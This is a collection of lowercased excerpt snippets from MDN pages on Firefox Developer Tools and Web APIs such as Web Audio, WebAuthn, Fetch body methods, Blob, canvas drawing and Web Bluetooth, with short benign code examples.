... npn_getvalueforurl provides information to a plug-in which is associated with a given url, for example the cookies or preferred proxy.
... npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated).
... npn_setvalueforurl allows a plug-in to change the stored information associated with a url, in particular its cookies.
3D view - Firefox Developer Tools
when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... by clicking and dragging the view, you can rotate and re-orient the 3d presentation of the dom hierarchy of your page to see it from different angles, to better examine its structure.
...conversely, you can click on elements in the breadcrumb bar to change which element is selected in the 3d view.
...this can become much more obvious when looking at the 3d view and seeing where your elements are nested wrong.
DOM Property Viewer - Firefox Developer Tools
to enable it, open the developer tool settings and check the "dom" box under "default firefox developer tools".
... refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar: this filters the list to show only items which match the search term.
... items match the search term if their name contains the search term.
... matching is case-sensitive.
Access debugging in add-ons - Firefox Developer Tools
we are planning to deprecate the use by firefox add-ons of the techniques described in this document.
... don't write new add-ons that use these techniques.
... the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
... window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Highlight and inspect DOM nodes - Firefox Developer Tools
if you hover over a dom node in the watch expresions, it will be highlighted in the page.
...a dom object in the watch expressions area, for example, includes a target.
... hover over the target to highlight the item on the page, click on the target to switch to the page inspector with the item highlighted.
...you can click any one of these targets to switch to the page inspector with this item highlighted.
Set a conditional breakpoint - Firefox Developer Tools
a normal breakpoint is just associated with a line: when the program reaches that line, the debugger pauses.
... a conditional breakpoint also has a condition associated with it, which is represented as an expression.
... when the program reaches the line, the debugger pauses only if the breakpoint's specified expression evaluates to true.
... this makes it possible to debug specific scenarios, such as bugs that only happen on odd entries in a list, or errors that occur the last time through a loop, for example.
Source map errors - Firefox Developer Tools
typical error messages here are: syntaxerror: json.parse: unexpected character at line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing.
...the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fetch resource a bug in firefox prevents it from loading source maps for web extensions.
... source-map-fehler: typeerror: networkerror when attempting to fetch resource.
... ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map url to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.
Network monitor toolbar - Firefox Developer Tools
a set of tool icons: pause (or resume) recording network log search the log request blocking an array of buttons to filter the network request list by type: by the content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a checkbox that allows you to disable caching.
... throttling menu, to simulate various connection types a menu of other actions: persist logs: by default, the network monitor is cleared each time you navigate to a new page or reload the current page.
... import har imports a har (http archive) file.
... a second toolbar area at the bottom of the network monitor provides: an icon to launch performance analysis.
Network Monitor - Firefox Developer Tools
the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long each request takes, and details of each request.
... select "network" from the web developer menu, (which is a submenu of the tools menu on os x and linux).
... click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "network".
...this means you can start debugging a page in, for example, the web console, then switch to the network monitor to see network activity without having to reload the page.
Use the Inspector API - Firefox Developer Tools
firefox add-ons may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context: window.inspector defined in inspector-panel.js.
... .markdirty() - marks that the page has been changed by the inspector - a warning will be shown when leaving the page, since changes made through the inspector are rewritten on reload.
... bindable events using on: markuploaded called when the left panel has been refreshed, after page change.
... layout-change "low-priority change event for things like paint and resize." ...
Page inspector keyboard shortcuts - Firefox Developer Tools
enter return enter step forward through the attributes of a node tab tab tab step backward through the attributes of a node shift + tab shift + tab shift + tab (when an attribute is selected) start editing the attribute enter return enter hide/show the selected node h h h focus on the search box in the html pane ctrl + f cmd + f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active ent...
...er return enter find the previous match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused.
... command windows macos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box content (only when the search box is focused, and content has been entered) esc esc esc step forward through properties and values tab tab tab step backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules vi...
...ew only, when a property or value is selected, but not already being edited) enter or space return or space enter or space cycle up and down through auto-complete suggestions (rules view only, when a property or value is being edited) up arrow , down arrow up arrow , down arrow up arrow , down arrow choose current auto-complete suggestion (rules view only, when a property or value is being edited) enter or tab return or tab enter or tab increment selected value by 1 up arrow up arrow up arrow decrement selected value by 1 down arrow down arrow down arrow increment selected value by 100 shift + page up shift + page up shift + page up decrement selected value by 100 shift + page down ...
UI Tour - Firefox Developer Tools
the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, which can contain one of six tools: rules view layout view computed view changes view compatibility view (firefox developer edition 77 and later) fonts view animations view the following image shows the 3-pane mode (available from firefox 62 onwards) which moves the css rules view into a separate pane in the center of the inspector.
... changes view when you are editing in the rules view, you can see the changes you have made in the changes view.
... to configure the set of browsers you want the compatibility view to check for, click settings at the bottom of the panel.
... untick the checkbox for any browser you are not interested in.
Sorting algorithms comparison - Firefox Developer Tools
this article describes a simple example program that we use in two of the performance guides: the guide to the call tree and the guide to the flame chart.
... sort() calls each of bubblesort(), selectionsort(), quicksort() in turn and logs the result.
... its call graph looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
... you can try out the example program here and clone the code here (be sure to check out the gh-pages branch).
Taking screenshots - Firefox Developer Tools
to enable it: visit the settings page find the section labeled "available toolbox buttons" check the box labeled "take a screenshot of the entire page".
...just check the box in settings labeled "screenshot to clipboard": now, whenever you take a screenshot, the screenshot is also copied to the clipboard.
...with this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot.
... so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to change the filename for each new capture.
Validators - Firefox Developer Tools
checky checky adds a submenu to your netscape or mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services.
... link checker this tool will check links on a given web page.
...(some authoring software, such as html-kit, builds in html tidy which makes validation quick and easy.) html validator pro this is an automated html5 checker using the same validator as the w3c.
... accessibility services lynx viewer checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape.
ANGLE_instanced_arrays - Web APIs
constants this extension exposes one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
... ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that multiple instances of the range of elements are executed, and the instance advances for each iteration.
... ext.drawelementsinstancedangle() behaves identically to gl.drawelements() except that multiple instances of the set of elements are executed and the instance advances between each set.
... ext.vertexattribdivisorangle() modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
AesCtrParams - Web APIs
typically this is achieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once).
...each time a new message is to be encrypted, a new nonce is chosen.
...this part of the block gets incremented each time a block is encrypted.
...the nist sp800-38a standard, which defines ctr, suggests that the counter should occupy half of the counter block (see appendix b.2), so for aes it would be 64.
Animation.play() - Web APIs
WebAPIAnimationplay
return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alicechange) to play forward, causing her to get bigger, as well as triggering the cake's animation.
... two animation.play()s, one eventlistener: // the cake has its own animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play immediately.
... alicechange.play(); // play the cake's animation.
...cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.playbackRate - Web APIs
animations have a playback rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time.
... examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to reverse, causing her to shrink: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } // on tap or click, alice will shrink.
... bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("touchstart", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alicechange forwards again: var growalice = function() { alicechange.playbackrate = 1; alicechange.play(); } // on tap or click, alice will grow.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); in another example, the red queen's race game, alice and the red queen are constantly slowing down: setinterval( function() { // make sure the playback rate never falls below .4 if (redqueen_alice.playbackrate > .4) { redqueen_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specificati...
Animation.ready - Web APIs
WebAPIAnimationready
the read-only animation.ready property of the web animations api returns a promise which resolves when the animation is ready to play.
... since the same promise is used for both pending play and pending pause requests, authors are advised to check the state of the animation when the promise is resolved.
... syntax var readypromise = animation.ready; value a promise which resolves when the animation is ready to be played.
...g the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation is ready to run }); example in the following example, the state of the animation will be running when the current ready promise is resolved because the animation does not leave the pending play state in between the calls to pause and play and hence the current ready promise does not change.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
playbackrate: the speed at which to render the audio stream.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffersourcenode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
AudioBufferSourceNode.loop - Web APIs
the loop property of the audiobuffersourcenode interface is a boolean indicating if the audio asset must be replayed when the end of the audiobuffer is reached.
... syntax var loopingenabled = audiobuffersourcenode.loop; audiobuffersourcenode.loop = true | false; value a boolean which is true if looping is enabled; otherwise, the value is false.
...when the time specified by the loopend property is reached, playback continues at the time specified by loopstart example in this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode.
... buttons are provided to play and stop the audio playback, and a slider control is used to change the playbackrate property value on the fly.
AudioContext.baseLatency - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaselatency experimentalchrome full support 58edge full support ≤79firefox full support 70ie no support noopera full support 45safari no support nowebview android full support 58chrome android full support 58firefox android no support no...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated.
... for more details about media stream audio source nodes, check out the mediastreamaudiosourcenode reference page.
...next, we feed this source audio into a low pass biquadfilternode (which effectively serves as a bass booster), then a audiodestinationnode.
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
AudioContext.createMediaStreamTrackSource() - Web APIs
the createmediastreamtracksource() method of the audiocontext interface creates and returns a mediastreamtrackaudiosourcenode which represents an audio source whose data comes from the specified mediastreamtrack.
... this differs from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
... return value a mediastreamtrackaudiosourcenode object which acts as a source for audio data found in the specified audio track.
...function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioDestinationNode - Web APIs
the number of channels in the input must be between 0 and the maxchannelcount value or an exception is raised.
... number of inputs 1 number of outputs 0 channel count mode "explicit" channel count 2 channel interpretation "speakers" properties inherits properties from its parent, audionode.
... audiodestinationnode.maxchannelcount is an unsigned long defining the maximum number of channels that the physical device can handle.
...their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin.
AudioListener.setOrientation() - Web APIs
the two vectors must be separated by an angle of 90° — in linear analysis terms, they must be perpendicular to each other.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioParam.exponentialRampToValueAtTime() - Web APIs
the exponentialramptovalueattime() method of the audioparam interface schedules a gradual exponential change in the value of the audioparam.
... the change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... note: exponential ramps are considered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works.
... endtime a double representing the exact time (in seconds) after the ramping starts that the changing of the value will stop.
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents.
... syntax audiotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been added to the media.
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each audio track in the media resource.
...in this scenario, that function's role is to add the new track to a list of audio tracks available to choose from.
AudioWorkletGlobalScope - Web APIs
the audioworkletglobalscope interface of the web audio api represents a global execution context for user-supplied code, which defines custom audioworkletprocessor-derived classes.
... each baseaudiocontext has a single audioworklet available under the audioworklet property, which runs its code in a single audioworkletglobalscope.
...it is incremented by 128 (the size of a render quantum) after the processing of each audio block.
... // test-processor.js class testprocessor extends audioworkletprocessor { constructor () { super() // current sample-frame and time at the moment of instantiation // to see values change, you can put these two lines in process method console.log(currentframe) console.log(currenttime) } // the process method is required - simply output silence, // which the outputs are already filled with process (inputs, outputs, parameters) { return true } } // the sample rate is not going to change ever, // because it's a read-only property of a baseaudiocontext // an...
AudioWorkletProcessor() - Web APIs
the audioworkletprocessor() constructor creates a new audioworkletprocessor object, which represents an underlying audio processing mechanism of an audioworkletnode.
... outputchannelcount optional an array defining the number of channels for each output.
... for example, outputchannelcount: [n, m] specifies the number of channels in the first output to be n and the second output to be m.
... the array length must match numberofoutputs.
AuthenticatorAssertionResponse.signature - Web APIs
the signature read-only property of the authenticatorassertionresponse interface is an arraybuffer object which is the signature of the authenticator for both authenticatorassertionresponse.authenticatordata and a sha-256 hash of the client data (authenticatorassertionresponse.clientdatajson).
...it provides the proof that an authenticator does possess the private key which was used for the credential's generation.
... syntax signature = authenticatorassertionresponse.signature value an arraybuffer object which the signature of the authenticator (using its private key) for both authenticatorassertionresponse.authenticatordata and a sha-256 hash given by the client for its data (the challenge, the origin, etc.
... examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'signature' in that specification.
AuthenticatorAssertionResponse.userHandle - Web APIs
the userhandle read-only property of the authenticatorassertionresponse interface is an arraybuffer object which is an opaque identifier for the given user.
... such an identifier can be used by the relying party's server to link the user account with its corresponding credentials and other data.
... syntax userhandle = authenticatorassertionresponse.userhandle value an arraybuffer object which is an opaque identifier for the current user.
...username, e-mail, phone number, etc.) examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userhandle' in that specification.
AuthenticatorAttestationResponse.getTransports() - Web APIs
gettransports() is a method of the authenticatorattestationresponse interface that returns an array containing strings describing the different transports which may be used by the authenticator.
... such transports may be usb, nfc, ble or internal (applicable when the authenticator is not removable from the device).
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentia...
...linfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that specification.
BaseAudioContext.createGain() - Web APIs
the creategain() method of the baseaudiocontext interface creates a gainnode, which can be used to control the overall gain (or volume) of the audio graph.
... syntax var gainnode = audiocontext.creategain(); return value a gainnode which takes as input one or more audio sources and outputs audio whose volume has been adjusted in gain (volume) to a level specified by the node's gainnode.gain a-rate parameter.
... example the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value.
... the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your br...
BatteryManager.level - Web APIs
indicates the current battery charge level as a value between 0.0 and 1.0.
... syntax var level = battery.level on return, level is a number representing the system's battery charge level scaled to a value between 0.0 and 1.0.
... a value of 0 means the battery, which is a batterymanager object, is empty and the system is about to be suspended.
...a value of 1.0 is also returned if the implementation isn't able to determine the battery charge level or if the system is not battery-powered.
Blob() - Web APIs
WebAPIBlobBlob
syntax var newblob = new blob(array, options); parameters array an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the blob.
... options optional an optional object of type blobpropertybag which may specify any of the following properties: type optional the mime type of the data that will be stored into the blob.
... endings optional how to interpret newline characters (\n) within the contents, if the data is text.
... the default value, transparent, copies newline characters into the blob without changing them.
Blob.stream() - Web APIs
WebAPIBlobstream
the blob interface's stream() method returns a readablestream which upon reading returns the data contained within the blob.
... returns a readablestream which, upon reading, returns the contents of the blob.
... usage notes with stream() and the returned readablestream, you gain several interesting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods such as the readablestreamdefaultreader interface's read() method.
...this returns an array containing two new readablestream objects, each of which returns the contents of the blob.
Bluetooth.requestDevice() - Web APIs
if there is no chooser ui, this method returns the first device matching the criteria.
... notfounderror there is no bluetooth device that matches the specified options.
... example // discovery options match any devices advertising: // .
...}) .catch(function(error) { console.log("something went wrong.
BluetoothRemoteGATTService - Web APIs
the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of this service.
... interface interface bluetoothremotegattservice : serviceeventhandlers { readonly attribute uuid uuid; readonly attribute boolean isprimary; readonly attribute bluetoothdevice device; promise<bluetoothgattcharacteristic> getcharacteristic(bluetoothcharacteristicuuid characteristic); promise<sequence<bluetoothgattcharacteristic>> getcharacteristics(optional bluetoothcharacteristicuuid characteristic); promise<bluetoothgattservice> getincludedservice(bluetoothserviceuuid service); promise<sequence<bluetoothgattservice>> getincludedservices(optional bluetoothserviceuuid service); }; properties bluetoothremotegattservice.deviceread only returns information about a bluetooth device through an instance of bluetoothdevice.
... methods bluetoothremotegattservice.getcharacteristic() returns a promise to an instance of bluetoothgattcharacteristic for a given universally unique identifier (uuid).
... bluetoothremotegattservice.getcharacteristics() returns a promise to an array of bluetoothgattcharacteristic instances for an optional universally unique identifier (uuid).
Body.blob() - Web APIs
WebAPIBodyblob
note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like url.createobjecturl.
... example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
... when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.json() - Web APIs
WebAPIBodyjson
example in our fetch json example (run fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file.
... when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.
... const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }.
... cost: ` ); listitem.appendchild( document.createelement('strong') ).textcontent = `£${product.price}`; mylist.appendchild(listitem); } }) .catch(console.error); specifications specification status comment fetchthe definition of 'body.json()' in that specification.
Body.text() - Web APIs
WebAPIBodytext
example in our fetch text example (run fetch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked.
... when getdata() is run, we create a new request using the request() constructor, then use it to fetch a specific .txt file.
... when the fetch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object.
... let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
the size() method of the bytelengthqueuingstrategy interface returns the given chunk’s bytelength property.
... syntax var size = bytelengthqueuingstrategy.size(chunk); parameters chunk a chunk of data being passed through the stream.
... return value an integer representing the byte length of the given chunk.
... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis: via htmlelement.style, which deals with the inline styles of a single element (e.g., <div style="...">).
... via window.getcomputedstyle(), which exposes the cssstyledeclaration object as a read-only interface.
...setting this attribute changes the style.
... an alternative to accessing nodelist[i] (which instead returns undefined when i is out-of-bounds).
CSSStyleSheet.ownerRule - Web APIs
the read-only cssstylesheet property ownerrule returns the cssimportrule corresponding to the @import at-rule which imported the stylesheet into the document.
... syntax var ownerrule = cssstylesheet.ownerrule; value a cssimportrule corresponding to the @import rule which imported the stylesheet into the document.
... examples this snippet of code looks for rules which were not imported into the document using an @import at-rule.
... let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (!rule.ownerrule) { /* rule is not imported */ } } this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) { checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSUnparsedValue - Web APIs
methods cssunparsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... cssunparsedvalue.foreach() executes a provided function once for each element of the cssunparsedvalue object.
... cssunparsedvalue.keys() returns a new array iterator object that contains the keys for each index in the cssunparsedvalue object.
... cssunparsedvalue.values() returns a new array iterator object that contains the values for each index in the cssunparsedvalue object.
Determining the dimensions of elements - Web APIs
there are several properties you can look at in order to determine the width and height of elements, and it can be tricky to determine which is the right one for your needs.
... how much room does it use up?
... if you need to know how much space the actual displayed content takes up, including padding but not including the border, margins, or scrollbars, you want to use the element.clientwidth and element.clientheight properties: how big is the content?
... if you need to know the actual size of the content, regardless of how much of it is currently visible, you need to use the element.scrollwidth and element.scrollheight properties.
CanvasRenderingContext2D.clip() - Web APIs
only those parts of the checkerboard pattern that are within the clipping region get drawn.
...it doesn't work with shape primitives drawn directly to the canvas, such as fillrect().
... syntax void ctx.clip([fillrule]); void ctx.clip(path [, fillrule]); parameters fillrule the algorithm by which to determine if a point is inside or outside the clipping region.
... ctx = canvas.getcontext('2d'); // create circular clipping region ctx.beginpath(); ctx.arc(100, 75, 50, 0, math.pi * 2); ctx.clip(); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); ctx.fillstyle = 'orange'; ctx.fillrect(0, 0, 100, 100); result specifying a path and a fillrule this example saves two rectangles to a path2d object, which is then made the current clipping region using the clip() method.
CanvasRenderingContext2D.createImageData() - Web APIs
imagedata an existing imagedata object from which to copy the width and height.
...each pixel within an imagedata object consists of four array values, so the object's data property has a length of 4 × 5,000, or 20,000.
... html <canvas id="canvas"></canvas> javascript since each pixel consists of four values, the for loop iterates by multiples of four.
... the array values associated with each pixel are r (red), g (green), b (blue), and a (alpha), in that order.
CanvasRenderingContext2D.fillStyle - Web APIs
examples changing the fill color of a shape this example applies a blue fill color to a rectangle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, each having a different fill color.
... to achieve this, we use the two variables i and j to generate a unique rgb color for each square, and only modify the red and green values.
... (the blue channel has a fixed value.) by modifying the channels, you can generate all kinds of palettes.
CanvasRenderingContext2D.strokeStyle - Web APIs
examples changing the stroke color of a shape this example applies a blue stroke color to a rectangle.
... html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color.
... to achieve this, we use the two variables i and j to generate a unique rgb color for each circle, and only modify the green and blue values.
... (the red channel has a fixed value.) <canvas id="canvas" width="150" height="150"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokestyle' in that specification.
Compositing example - Web APIs
pure black or white does not result in pure black or white.', 'subtracts the bottom layer from the top layer or the other way round to always get a positive value.', 'like difference, but with lower contrast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer.', 'preserves the hue and chroma of the bottom layer, while adopting the luma of the top layer.' ].reverse(); var width = 320; var hei...
